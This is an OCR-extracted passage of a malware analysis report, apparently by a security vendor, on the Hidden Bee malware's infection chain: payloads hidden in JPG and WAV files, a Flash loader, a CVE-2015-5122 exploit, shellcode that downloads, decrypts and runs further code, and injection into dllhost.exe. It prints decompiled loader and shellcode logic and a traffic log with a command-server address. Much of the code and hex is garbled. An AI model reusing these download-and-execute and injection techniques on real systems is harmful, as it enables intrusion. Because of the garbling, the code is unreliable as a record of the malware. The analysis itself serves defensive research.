@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the

next stage modules: /bin/i386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.

Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

] HTTP 38.75.137.9:9088 - iexplore: 2023
P17 200 HTTP 38.75.137.9:9088 fviews/sd3olafs844jsqIoeqoadtjuid.swf 115062 private... application/... iexplore:2023
ﬂ 198 200 HTTP 38.75.137.9:9088  fviews/r52b5m 1ki0v 1t20tf4akl45c94. wav 35880 oprivate... audiofwav iexplore: 2025
ﬂ 199 200 HTTP 38.75.137.9:9088 views/qa0tgpp2ub4bca?I0jsuZroaac. wav 43 852 private... audiofwav iexplore: 20258
|:| 200 200 HTTP 38.75.137.9:9088 fviews/fiev4sra210s3f688r218bcteok.jpg 156 005 private... imagejpeg dihost: 2576

The algorithms used to encrypt the content of the first WAV may vary and sometimes the algorithm is supplied as
one of the parameters. After the content is fetched, the data from the WAV files is decoded using one of the

available algorithms:

private static function onlLoaded(paraml:Ewvent) : woid

{
urllLoader .removeEventListener (Event.CCHMPLETE,onLoaded) !
urlloader .addEventlListener (IOErrorEvent.I0 ERROR,onLoadError):
var readData:BytelArray = urlloader .data as Bytelrray;
loader = decode (readData,cryptofey ,algo,onMovieloaded) ;

We can see that the expected content is a Flash file that is then loaded:

private static function onMovieLoaded (paraml:Event) : void

{
loader .contentLoaderInfo.removeEventListener (Event.COMPLETE, onMovieloaded) ;
var newClip:MovieClip = MovieClip(paraml.currentTarget.content) ;
doc .addChild{newClip) !

The “decode” function

The function “decode” is imported from the package “com.google”:
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getlocal 5
getlex (name (PackageNamespace ("), "onMovieloaded™)
ka:_l_lpmpertjf (name (PackageNamespace ("com.google™) , "decode™) 4

The full decompiled code is available here.

When we look inside, we see that the code is slightly obfuscated:

1

ActionScript source

com.goegle.decode

| N+ |

WARNING: The code decompilation contains §5 instructions. This is usually caused by an obfuscation (See Settings/Automatic deabfuscation) or a nonstandard compiler used (Haxe, stc.).

R A T

ba ckage com.google

{

import
import
import
import
import
import
import
import
import
import
import

public
{

avmZ.intrinsics.memory.lilé;
avmZ.intrinsics.memory.li32;
avmZ.intrinsics.memory.li8;
avm2.intrinsics.memory.silé;
avm2.intrinsics.memory.si32;
avm2.intrinsics.memory.sif;
com.google 2F var 2F folders_2F zd 2F jkStsdél3nsihpppmxkvE65m0000gn 2F T 2F 2F cculOwUs_Z2E lto 2E bc 3A 2210E4FE_2D 444B 2D 4SET_
flash.display.Loader;
flash.system.ApplicaticnDomain;
flash.system.LoaderContext;
flash.utils.BytelArray;

functicn decode (paraml:BytelArray, param2:ByteArray, param3:int, paramd4:Function) : Loader

Looking at the decompiled code, we see some interesting constants. For example, —-889275714 in hex is

O0xCAFEBABE. As we found during analysis of other Hidden Bee elements, this DWORD was used by the same

authors before as a magic number identifying one of the custom formats.
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243 if( loc53 = -889275714)

244 {

245 _loe53_ = 1i32(_locé&8_ - 32)»

248 if{_loch3_ == 32)

247 {

248 if{_locS9_ != 0)

2419 {

250 if{_lochs_ != 1)

251 {

252 _loc53_ = int{_loc@3_ - 40):
253 _loe53_ = _locB3_ | 4:

254 _loe57_ = 1i32(_locS3_):

255 1

256 elae

257 {

258 _locsi_ = int{_loc3_ - 16);
259 3132({_loc57_, _locS_ + 4);
260 _loch3_ = int(_loc&&_ - 1072);
261 3i32(_loc53_, locS )

262 E5F = _locS_»

263 F_ECRYPT keysetup():

264 _loch5_ = int{_locS_ + 18);
265 _lochl_ = int{_locG3_ - 40);
266 _loe5l_ = _loc3l_ | 4;

267 _locs7_ = 1132 (_loc5l_):

268 _locsi_ = int{_loc3_ - 16);
269 3132 (_1loe57_, _loeS_ + 12);
270 _lochl_ = int{_locdd_ + T&):
271 3i32{ lochl , locS_ + 8);
272 3132 (_loc5l_, loc5_ + 4);
273 3i32(_loch3_, _loch )

274 E5F = _locS_;

275 F ECREYFT process_bytes();

Internally, there are references to a function from another module: E_ENCRYPT_process_bytes(). Inside this

function, we see calls suggesting that the Rabbit Cipher has been used:
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10 public function F_ECRYPT procesa_bwytes() : wvoid
11 {

12 var locd :* = 0;

13 var _locT _:* = 0;

14 var locd :* = 0;

15 var loci _:* = 0f

16 var _locB_:int = 07

17 var _locé_:* = 07

18 var _loc3_:* = int(E5EF);

13 _loc2 = loc3 ;

20 _loc3_ = int{_loc3_ - 14);

21 _locd = 1i32(_loc2_ + 12):

22 _locs_ = 1i32(_loc2_ + 8):

23 _locE = 1i32(_loc2_ + 4):

24 _loc7_ = 1i32(_loc2_):

25 if{uint{_locd4 ) »>= 1&)

26 {

27 _locs_ = int{_loc5_ + 12);

28 _locg_ = locé  + 127

29 _loceé_ = int{_locT_ + &8);

30 do

al {

32 _loc3i_ = int{_loc3_ - 1&8);
a3 3132 (_lock_, loc3_):

34 E3F = _loc3_;

35 F RABBIT next state();

36 _1loc3_ = int{_loc3_ + 16);

Rabbit uses a 128-bit key (the same length as the MD5 hash that was mentioned before) and a 64-bit initialization

vector. (In different runs, a different encryption algorithm may be selected.)

After the decoding process is complete, the revealed content is loaded:

e f
3329 if{_locsT_ !'= 0}

3330 {

3 _loe53_ = 1i32{_loc57_);

3332 ESP = _locS_ s -16;:

3333 var _loclé_:ByteArray = new ByteRrrav():

3334 (CModule.readBytes (int(_loc57_ + 4), loc53 ,_ loclé_);

3335 ESP = _loc5_ & -14;7

3336 ESP = _loc5_ & -167

3337 new Loader().contentloaderInfo.addEventListener ("conplete”, paramd) ;
3338 ESP = _loc5_ & -167

3339 var _loc69_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain];
3340 ESP = _loc5_ & -167

3341 _locéd_.applicationDomain = ApplicationDomain.currentDomain;

3342 ESP = _loc5_ & -167

3343 _locéd_.allowCodeImport = true;

3344 ESP = _locS_ & -147

3345 new Loader() .loadBytes {Jln:-clﬁ_, _locé9_);

3344 _loc5_ = int{_loch_ - 18);

3347 3i32(_loc57_,_locS_):

3348 ESP = _loch_»

3349 F_idalloc():

3350 _loc5_ = int{_loch_ + 18);

3351 _loc2i_ = new Loader():

3352 }

The first WAV: a Flash exploit
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The decoded WAV contains a package with two elements embedded: a Flash file (movies.swf) and the
configuration file (config.cfg). The decrypted data starts from the magic DWORD 0xCAFEBABE, which we

noticed in the code of the previous SWF.

i iexplore.exe.dmp

Cffset(h) 00 01 02 03 04 05 06 07 08 095 OA OB OC OD OE OF Decoded text

07763B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvusuuunreeesss
07763820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wuvvuvuuunneeesss
07763B30 00 52 49 46 46 04 8C 00 00 57 41 56 45 66 6D 74 .RIFF.S..WAVEfmt
07763B40 20 10 00 00 00 01 00 01 00 20 3E 00 00 00 7D 00  +u.vuuues €r...1.
07763B50 00 02 00 10 00 64 61 74 61 E0 8B 00 00 33 8C C2  ..... datatc..354
07763B60 4E 22 31 TA B8 6F 34 Fe A5 F7 AS AF 10 F3 07 C2 N™lz o464 Z.8.4
07763B70 46 E7 31 4E B3 28 9E FF 14 9F 1F 98 14 1F 8B 08 F-INZ.% .Z....<.
07763B80 00 00 00 00 0D OO0 03 00 72 20 8D 7F DTN - .------ reT.[[stH
07763B90 3C 00 00 00 02 00 00 00 24 00 00 00 3C 00 00 00 <....... $...<...
07763BA0 2D &E 00 00 30 00 00 00 €9 2B 00 00 3C 00 00 00 =¢..0...1i¢..<...
07763BB0 2F &0 6F 76 69 &5 73 2E 73 77 66 00 2F 63 6F 6E /movies.swf./con
07763BCO 66 €3 67 2E 63 66 67 00 43 57 53 1B TF FF 00 00 fig.cfg.CW5.. ..
07763BD0 78 9C EC BD 77 5C 55 47 D7 2F 3E B3 67 EF B3 4F x&&“w\UGx/>igdi0

The Flash file (movies.swf) contains an embedded exploit. In the analyzed case, the exploit used is CVE-2015-

5122, however, a different exploit may be used on a different machine:

A flashz.swf
| header

] sprites

H frames

|| athers

|\ scripts

Fove 2015 5122 _fla
=0

—»  Bufton_disabledSkin
—» | Button_downSkin

—»  Bufton_emphasizedskin
—»  Bufton_overskin

The payload (shellcode) is stored in form of an array (binary version available here:
9aec11ff93b9df14f060f78fbb1b47a2):

1 package

2

= class PayloadWin3z

4 {

5

[ public static wvar payload:Vector.<uint> = Vector.<uint>({[2420162609,6130450447,1620856352,1768,134222080,
7

g

g function PayloadWin3a2()
10 {

11 super();

12 }

13 1

14 }

15

The configuration file (config.cfg) contains the URL to another WAYV file.
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The payload is padded with NOP (0x90) bytes, and the parameters, including the configuration, are filled there
before the payload runs.

pavlEnd = O;

payllength = PayloadWin32.payload.length;
indx = O;

while(indx < pavlLength - 1)

i

if{PavloadWin3Z.pavload[indx] = O0xZ0203202C
&& PavloadWin3Z.pavlicad[indx + 1] = O0xZ0202032C0

)
i
pavlEnd = indx;
break:
1
indx++;
i
if{pavlEnd '= 0)
i
indx = O;
while(indx < paraml.length)
i
S /write parameters at the end of the payload:
PayvloadWin32 .pavlocad[pavlEnd + indx] = paraml [indx]:
indx++;
1
i

The shellcode: downloading the second WAV

The second WAV, in contrast to the first one, is always downloaded and never embedded. It is retrieved by the
“PayloadWin32” shellcode (9aec11£f93b9df14f060f78fbb1b47a2), deployed after the successful exploitation.

Looking inside this shellcode, we find the function that is responsible for downloading and decrypting another
WAV. The shellcode uses parameters that were filled by the previous layer. This buffer contains the URL that will
be queried and the key that will be used for decryption of the payload. It loads functions from wininet.dll using

their checksums. After the initialization steps, it queries the supplied URL. The expected result is a buffer with a
header typical for WAV files.
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v2 = alj

v3 = &input_buffer[-*{unsigned _ intl6e *}input_buffer];

func_checksums = (int)&v3[*((unsigned _ intle *}input_buffer + 1}];

buf = &3[*(unsigned _ intle *)}(func_checksums + @x7@) - *((unsigned _ intle *}input_buffer + 2}];
zero_buffer(&functions list, @wd4Cu);

result = load_wininet_functions(v2, (int (_ stdcall **){char *})&functions_list, func_checksums};
if ( result )
1

copy_16_bytes(buf, &crypt_key); // copy the crypto key

result = download_from_url(v2, &functions_list, buf, &meodule size);
wav_buf = (_BYTE *)}result;
if { result )

if ( *(_BYTE *)result == 'R’ // check the WAV header
&% *( BYTE *)({result + 1) == 'T"
&% *( BYTE *)({result + 2) == 'F'
&% *( BYTE *)(result + 3) == 'F'
&8 *(_DWORD *)(result + 4) <= module_size
&% *(_BYTE *)(re _«,ulf +8) == "W
&% *( BYTE *)({result + @xA) == 'V'
&% *( BYTE *)(r esult + Bx24) == 'd’
&% *( BYTE *)(result + 8x26) == 't' )
{

msize = *(_DWORD *}(result + 8x28);

As we already suspected, the data of the WAV (starting from the offset 0x2C) contains the encrypted content.
Indeed, blocks that are 8 bytes long are decrypted in a loop:

module size = *({_DWORD *)wav_buf + 8oucA);
if ( wav_buf != (_BYTE *)@xFFFFFFD4 )

if ( I(mSize & 7))

1
chunk_ptr = wav_buf + 8x2C;
crypt_init((int)}&crypt_ctx, Bcrypt_key, 16);
msize = module_size;
w23 = @;
if { module_size )
1
do
1
crypt_block((int)}&crypt ctx, chunk ptr, chunk ptr);
w23 += 8:
m5ize = module_size;
chunk_ptr += 8;
¥
while { v23 < module_size };
¥
¥

After the decryption is complete, the next module will be revealed. It is interesting to take a look at the expected
header of the payload to learn which format is used for the output element. This time, the decoded data is

supposed to start with the following magic numbers: 0x01, 0x04, ..., 0x10.
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if ( mSize > éxl1C
&% *((_DWORD *)wav_buf + @xE} <= mSize
&& wav_buf[@x2F] == exle
&& wav dJ-[bXZC] // start of the payload header
&& wav_buf[ex2D] =
&& mSize > *((_E ORD *)wav_buf + @x16)
&& mSize » *({(_DWORD *)wav_buf + 8xD)
&% !(wav_buf[8x3C] & 3) )
1
allocated buf = ( BYTE
v23 (un, gned int)
if ( allocated buf )
new_module_ep = (void (_ stdcall *)(unsigned int *))&allocated buf[*{(_DWORD *)wav_buf + @uD)}];
copy huffer(a__- ated buf, wav_buf + 8x2C, module size);
wav_buf + @x2C;
= v23; // _allocated buffer
ule_ep(&vl17); // call the decoded payload
'
VirtualFrees(v23, @, 8x86008);
}
}

The second WAV: an executable in proprietary format

On the illustration below, we can see how the data of the WAV looks after being decrypted
(9b37¢9ec19a53007d450b9b9c8febbe?):

Address |Hex dump ASCII

H2EEEEER| 52 49 46 46 C4 BE OB B0 57 41 56 45 &6 &0 v4 20| RIFF—2..WAUEfmt
F2EEEEIE| 18 B8 OB B0 @1 B8 Ol B0 28 3E OB B0 B8 VD 06 B0k, . .8.8.Cx .03,
BZEEHEZEH| B2 BE 16 BE 64 &1 74 61 OB BE B0 B0 @1 B4 BB 16| @, b.datads . . Ge. b
FEEEEEEE 10 BR Y4 BE BC HE DE B0 22 BE DE B0 FE HE OE B0 C.t.. 4.0 k2. pe.
H2&5EE4 0 +5.. 4.d7
H2&EHEEH
B2GoEEGH
HEnEEETE 4B BR 43 39 38 24 6E 656 65 BE OB BE B8 B4 0B 49 KECISinff.
precaEse 6B 68 63 64 6F FE 24 G6E 65 65 OB B0 BA B8 05 B0 khcdoVinff... .8
H2EEEETe) 47 B9 EC 49 B8 BE 24 &6E &6 65 DE B0 B8 BE 0@ 80 GY-IX"Snff......
HEEEEERE | 80 EVY HE 97 9F &5 BDO 6B 9B EC 28 BE 24 ¥5 82 60 1£+3&f2kT~lafue.
HEechEED) 2@ B 82 80 90 BB 93 IC CA 96 93 IC BE 96 93 IC @%e.kgdac=Fa"lao
HEEcEECH | 86 2E 6B D3 F? 58 BS B4 BF 32 BS 50 47 ¥B B8 55 «.kE HA+- ZAPGL{EU
procpEbe) 11 45 15 4E 89 5F BY 29 20 AF D2 7D 4F SB AS &3 AEENE_ElZ-0X0[EC
HEncEEED 98 F5 B2 B0 23 32 H1 &F 3C CE EE 30 SE DR FO EZ Eue.#ZiodrtBArid
HeecEdbe 58 3F 15 5H FA 34 19 49 FE ES 19 BE 2F 8¢ D08 IC) H7EC 44 ImfidR- i
Hrec@lEn) lF BB 31 CF 27 75 80 CH 2E CF BF &5 9E 32 &9 By W lo'uz=.0CF=3(E
ErecElle 63 AL BB 13 97 BF 2C 38 BF CH Y@ 38 E3 ER 82 20 ciglsx, 8-=pBArfe
HERcElZH | CE 48 94 B 18 C& 95 EBE BR AL CO EC 79 HE EBF D2 jrEc kALY i=ywiq0
Eerec@lze B2 FL Bl EDO B9 16 AD 41 56 F2 39 D5 B3 B8 OE 11 @81 osAU 91 |Z04
Heec@ldn 9 FC O 3F F3 11 F1 BF BF 6E 2R 16 74 2F 2E BS AE| #RY*4“q_n#*_t-, [+
Gooenlso|SB 43 B7 74 23 98 OC EA 1T 97 8% 97 5B 75 5B 34| [Iotel.F#stoluds

This is an executable component that is loaded into Internet Explorer. After it decodes the imports, it starts to look

much more familiar:

Address |Hex dump ASCII

BzZASEEAA| A1 B4 BE 18| 1C BA 74 BA|AC BE B8 BA|E2 EBE B8 G6|Ae.bo.t. . $.. 82,
HZASEE1A| FE B5 B8 BAA| 12 BS B8 B0\ A0 G0 B8 A8 A9 BE 11 A6|pe. . T5. ... ..., 1
HZASEEZA| 6E 74 &4 BC|EC ZE &4 EC|EC BE BE AC| B 25 6@ 4B ntdll dll....%.
H2ASE82A| 45 52 4E 45(4C 33 32 2E|64 6C 6C BB @B GC A8 @A2|ERMELZ2.dll....
HZ2ASEE48| 86 41 44 E&(41 BB 49 22|32 2E &4 &C|EC BE BE BE|.ADVARIZZ2.dLL..
BZASE6CH| BB G4 68 43 61 62 69 EE|65 74 ZE 64|EC EC 65 60| .e.Cabinet.dll..
H2ASE8EE| AR B8 A& 88|40 53 56 43|52 54 ZE 64| 6C &C 88 88| ..+ .MSUCRT.dLL..
HZASEETE| 00 B0 88 @8| 12 FA 20 FF|FE 47 9F FF|E4 AS 98 FF|e... 1 2w-GCWidsw
HZASEEEA| 1E 3B 8F FF|48 53 8F FF|CB 55 8F FF|CB 53 8F 7F|+; CWwESCW -UCw 50w
BZASEE3E| 08 54 5F 77| LF 53 92 77|25 50 90 77|78 B2 99 Y| LTCWTS [wi-EwsbEw
HZASEEAA| C4 73 9@ FF|48 6@ 9@ FF|E2 41 SF FF|EE 57 91 7F|.A=-wwiH™ - wih.aad
HZ2ASEBERA| 08 3C S9F FF|CB 4C SF FF|EE 2A BB 77|08 D9 BE 77| i{Cw'LCwt#*Iud Ju
HZASEECHE| 2B 45 BC 77|41 CF BE 7F|A2 BS BA 77|46 BA BE 77| +E.wHSIwiA. wFll Jw
G2ASE806| &2 BF BE 77|02 33 ac 7PFP|CF CO 8B 77|A4 10 BC 77|b#IwEl. wiFJuwlH.w
BZASEEER| 4F 21 BC FY| 26 2C BC FF|BE ZF BC FF|FC CA BE 77| 0. wiki.wAswi=ay

M -

We can see that it follows an analogical structure to the one described in last year’s article.
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This module is first executed within Internet Explorer. Then, it creates another process (dllhost.exe) in a

suspended state:

HZASEATS 2025 FCFFFFFF [LER ERX, OWORO FTR S5: [EEF-B:247

B2ASBATF =] FUSH EA

B2ASEAZE CE FUSH ESI

B2ASERS1 =) PUSH ESI

B2ASER32 &R B4 PUSH Bx4

B2ASEA3G =) PUSH ESI

E2ASEAZE EE PUSH ESI

H2ASER2E CE PUSH ESI

B2ASEAST 2025 24FDFFFF |LEA EAX,DOWORD PTR SS: [EEF-G:2C0C]

G2ASEA20 =) FUSH ESI

B2ASEAZE =] FUSH EA:

AZASER2F FF1S 2e@lA2E2 [CALL DWORD PTR DS: [Bx2ASE1281 kernel22. CreateProcessll
SECH TEST ERX,EAR

AZAZEAST |+ 74 40 JE SHORT BZASEAES

iq L_J

Stack address=BZ1AC15@, (UHICODE "C:w-Windows-~swstemzz-~~dl [host.ene"]
ERX=88806086 1

Address |Hed dump ASCII

GzAsEEEa| Al 64 88 16| 1C 68 74 88| AC BS B8 B8] S22 BE 690 a0|Ge.ko.t. . d. 0 k2.,
EZASEE1E| FE G5 88 G@| 12 BS @9 00|00 00 @8 88|87 08 11 88|pe. . t5. . i eaaad.
BZASEEZA| 6E 74 &4 GC|E&C ZE &4 GC|AC BE BE AC| A8 26 B8 4B[ntdll.dll... &K
HZAZEE3A| 45 52 4E 45|4C 33 32 ZE| 64 &C 6C BA|AB @C B8 &8 ERMELZZ2.dlLl....0
EZAZEE48| A6 41 44 56|41 5@ 49 22|52 ZE 64 EC|EC BE BE BE|.AOVAFIZZ.dLL..#
BZOSE6SE| BB G4 B8 43 61 62 69 EE|6E 74 2E 64|EC EC B0 68| .4.Cabinst.dll..
HZASEEEE| BA B8 8BS BB| 40 53 E& 42|52 B4 Z2E &4|&C &C B8 8A&( ..+ .MSUCRT.dLL..
B2ASEETA| 06 B8 A3 8| 12 FA S0 7F|FG8 47 SF 7F|E4 AS 98 7F|.... 1 2w-GCwiddw
B2ASE888| 1E 3B SF 77|48 53 SF FF|CB 55 SF FF|CB 53 SF 77| +; CwESCw tUCW LSCw
BZAEEE3E| 08 54 SF 77 LF 53 92 77|28 5C 90 77| TS 62 99 7Y| LTCWTS (wiEwsbEw
HZASEBAA|C4 73 98 FF|48 60 98 FF|68 41 8F FF|ES 57 91 77| -wwH" - wiheas
HZASEBERA| D& 3C 8F FF|CB 4C 8F FF|EE ZA BE 77|08 D9 BE 77| i{Cw'LCwt*dud Ju
BZAZEECAI ZE 45 AC FFi41 CF BB FFIAS BE BA FFl46 BA BE 77| +E.wADIWiA. wFll Jw

It injects its original copy there (769a05f0eddd6ef2ebdd13618b244758):

[ dilhost.exe (2784) Properties

| General I Statistics I Performance | Threads I Token I Modules | Memery | Environment I Handles I Comment

Hide free regions
Baze address Type Size  Protect... Use Tat
> Ox 10000 Private 128kE RW 1
> 0w 30000 Mapped 16kE R
> Ox40000 Private 4kB RW
4 (50000 Mapped 52kE  RWX
0x 50000 Mapped: Com... 52kB  RWX
7| dilhost.exe (2784) (0x50000 - 0:5d000) = ===
00000000 ﬂl 04 00 10 1c Oa 74 00 Oc OS5 00 00 &8 be 00 00 ...u.. Lovannanna »

00000010 70 O0& 00 OO0 18 k& 00 00 00 OO0 00 00 09 00 11 00 Pusesesnsnaaansns (W
00000020 &4 Te &2 66 66 24 6e 66 &6 00 00 Oc 00 26 00 41 d~nffsnff....&.R
00000030 4f 53 44 4f 44 39 38 24 6e 66 64 00 00 Oc 00 O QHEDOFSSsnff.....
00000040 00 4k 4e 5c 4b 5a 43 39 38 24 6e &6 66 00 00 Ob EMNEZCS9E8Snff...
00000050 00 04 00 4% 6b 62 63 64 &L 7e 24 6e 66 66 00 00 ...Ikhcdo~%nif..

000000680 0Oz 00 O& OO0 47 59 5c 49 58 5S5e 24 &e 66 &6 00 00 ....GY°NIX~%nff..
00000070 00 00 00 00 &c 7 ae 97 9f 66 bd 6b 9b Sc 88 Ob ......... k...
00000080 24 75 82 04 30 b8 82 0d 9d bb 93 lc ca 96 93 1lc fu..0...ieueusn
00000090 5e 96 93 1lc 0& 2e &b 43 £9 58 be 04 07 32 b5 50 ~..... k.. .X...2.F
000000&a0 47 7b 08 553 11 45 135 4e 8% 5L b7 2% 8d af 42 7d G{.U.E.N._.}...}
000000k0 4f Sk a8 63 90 75 82 04 23 32 al &f 3c ce ee 30 O[.c.u..#2.0<..0
000000ch Be da £d e2 58 3£ 15 Sa fa 34 19 49 fe e5 1% Oe ....¥2.Z2.4.I....
00000040 2f 87 d8 1lc 1f bb 31 of 27 75 84 ca 2e cf &8f 66 /..... AL PR £

Then it redirects execution to its loading function. Below, we can see the Entry Point of the implanted module

within dllhost.exe.
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* KernelMode - dilhost.exe - [*G.P.LU* - main thread]
@ File View Debug Plugins Options Window Help

et Bledx] w1 s+ 305 A~ s]E[m]T|w]nc| s

FF7424 B2 FUSH DWORD PTR S5: [ESP+E12] implanted_modu le_ep
BEASACED FFE424 B2 CALL DWORD PTR S5: [ESP+Ex2]
BEESECE L CZ Bcea RETH &:iC
BRASACES 55 FUSH _EEFP
BRASECES SEEC MOu EBF, ESP
BRESECET S3EC 12 SUUE ESF,Onls
BEASECEA =] FUSH _EBX ntdl . 77997140
BEESECEE 2BED 12 MOU EBX, ONORD PTR SS5: CEEF+E:12]
AARSACAF A FIISH FRT

1 [
Stack So:LO011FAECI-DEEELESH

Address |Hex dump HSCII

HEEEEEEE| 1 B4 B8 16| 1C BA 74 BE|EC B B8 BE| 22 BE 60 60| Ge. ko t.. &0 F2..
BEEEEE1A|FE G5 83 0| 12 BS 88 60|60 60 88 88|62 66 11 88|ps..t5. ... ... 4.
BEAASEEZA| 64 FE G6E &6 66 24 GE AR A6 BE BE AC| BB 26 B8 41|d nffinff....%.A
BEESEE3E| 4F 58 44 4F| 46 29 38 24| 6E &6 S5 BE| @8 GC @8 82| 0<00F985nff... .0
BERSEE4E| B8 4B 4E SC|4E 5A 43 39|38 24 6E 66|66 BE BE BE|.KH-KZCIESnff..d
HERSEEEA| BB B4 B8 49| 6B &8 63 64| 6F YE 24 GE| 66 &5 BE 88| . 4. Ikhcdo™Snff..
BARSEREA| AR @A @5 @A 47 59 EC 49|52 EE 24 6E| 66 &6 BE BA| ... .GY-~IE"5nff..
BARSEETA| AR B B8 @@ 2C EFY AE 97| 9F &5 BOD &EB| 9B SC 82 BE|....1E«3&F2kT k2
HEEEEESA| 24 Y5 892 60|28 BS 82 80|90 BB 92 IC|CR 96 93 1C|fue.@Se.kqnac=lac
BEEEEE9A|5E 96 92 IC| @& 2E 6B DI|F2? 58 B& 84| A7 32 BE 58| “Pi . kE HAe« 2AF
BEAESEEAE| 47 FE 82 55|11 45 1S 4E|89 5F BY 29|80 AF D2 70| G{EUAEEHE_EIZ=02
BEESEEES| 4F 5B AS 63|98 ¥5 92 60|22 32 Al &F|2C CE EE 38| O[EcEus. #2 (odjftE
BEASEEACA| 2E DA FO EZ| 58 3F 15 BAIFA 34 19 43|FE EE 19 BE|ArLORYES " 44 Imfi+H

A detailed analysis of the execution flow of this module and its format will be given later in the article.

At this point, it is important to note that the dllhost.exe is the module that further downloads the aforementioned

images.
The modules with the custom format

The module with the custom format is analogous to the one described before. However, we can see that it has

significantly evolved.

There are changes in the header, as well as improvements in the implementation.

Changes in the custom format

The new header is similar to the previous one. The few details that have changed are: the magic number at the
beginning (from 0x10000301 to 0x10000401), and the format in which the DLLs are stored (the length of a DLL
name has been added). That’s why we will refer to this format as “0x10000401 format.”

Another change is that now the names of the DLLs are obfuscated by a simple XOR with 1 byte character. They

are deobfuscated just before being loaded.
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Ll =]

@a3115DC

@83115D0C decede func_name:

@8B831150C mov cl, [esi+5]

B83115DF xor [eax], cl

B83115E1 mov ecx, [ebptarg_e]

8@83115E4 movzx  edx, byte ptr [edi]

B83115E7 inc eax

B83115E8 add ecx, eax

BB3115EA cmp ecx, edx

BB3115EC jb short decode func_name
T

‘ YYY
|l 5=
3115EE
3115EE loc_3115EE:
3115EE lea eax, [edi+d]
3115F1 push eax ; _DWORD

3115F2 call ds:LoadLlibrarys
3115F8 test eax, eax

3115FA mov [ebptvar_18], eax
3115FD jz short loc 311636

Summing up, we can visualize the new format in the following way:

Cffsec(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF Decoded text

00000000 [EEOERDL] 0 RS - I.. HEADERS

00000010 |70 _0&6 00 e e

08 00 11 00 .... DLLs

00000020 64 7E 6E 66 66 24 6E 66 66 00 0D OC 00 26 00 41 d~nff¢nff....&.A  [lc offeat = Ox1C
00000030 4F 58 44 4F 46 39 38 24 6E 66 66 00 00 0OC OXDOF98SnEs. .. .. N
00000040 00 43 4E 5C 4B SA 43 39 38 24 6E 66 66 00 .KM\Kzcosgnge, .. Svuctdll record{
00000050 00 04 00 49 6B 62 63 64 6F TE 24 6E 66 66 00 00 ...Ikhcdo~Snff.. WORD name_length,
00000060 OR 00 06 00 47 52 5C 42 58 SE 24 6E 66 66 00 00 ....GY\IX"Snff.. WORD functions_count,

00 00 00 00 e char name []; //XORed

t
00000070 8C E7 BE 97 SF 66 BD 63 9B 5C 88 03 SeB—2f k..
00000080 24 75 82 0D 30 B8 82 0D 9D 58 93 1C CA 96 93 1C  Su,.0.,.t»".E-".
000000%0 SE 296 93 1C 06 2E 6B D2 F9 52 BE 04 07 32 BS 50 ~-"...k0d¥qg..2uP =0x74
.
00000180 87 FO 96 7C 3D AD 39 0D C7 OE E0 3D F3 16 E6 F5  +d-|=.9.C.7=4.&4 SLKEL
00000190 7FC B0 3E 28 EA 3D 9D 7C | "> e=t]
64 A1 30 00 00 00 C3 56 d o...iv CODE

000001A0 8B 4C 24 08 8B 44 24 08 33 D2 83 CO 14 38 51 07 <L$.<D$.3H.R.8Q. Entry Point = 0x050C
000001BO 74 1C 33 F6 39 51 10 88 51 07 76 12 8B DE 83 E2  t.3569Q..Q.v.<0.4
00008810 00 00 00 00 00 00 00 00 83 03 00 00 BZ 03 RELOCATIONS
00008820 BF 03 00 00 E1 03 00 00 04 04 00 00 13 04
0000BS30 24 04 00 00 2D 04 00 00 42 04 00 00 47 04 Offset = 0xB818
00008840 55 04 00 00 61 04 00 00 8C 04 00 00 9C 04 Size = 0x0670

0000B850 BF 04 00 00 CE 04 00 00 EE 04 00 00 FA 04
0000BB6O 01 O 00 BO 05 00 00 BT 05
0000B87T BE O 00 DF 05 00 00 EA 05
00o00BE8 F2 05 00 00 51 06 00 00 &3 06 00 00 74 06

Module Size = 0xBESS

Obfuscation used
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This time, authors decide to obfuscate all the strings used inside the module. Now all the strings are decoded just

before use.
@B3187F5 lea eax, [ebp-2CCh]
BB3187FE push 184h
23188828 push eax ; _DWORD

28318881 push offset unk_317838
eB31le8e6 call decode_memory

@a31eses pop BCX

e@3lesec push eax ; _DWORD

ee3leseD call ds:ExpandEnvircnmentStringsi

The decoding algorithm is simple, based on XOR:

e

=

Pd B2 R R B2

1| BYTE *__cdecl decode_memory( BYTE *input_arr)

2f

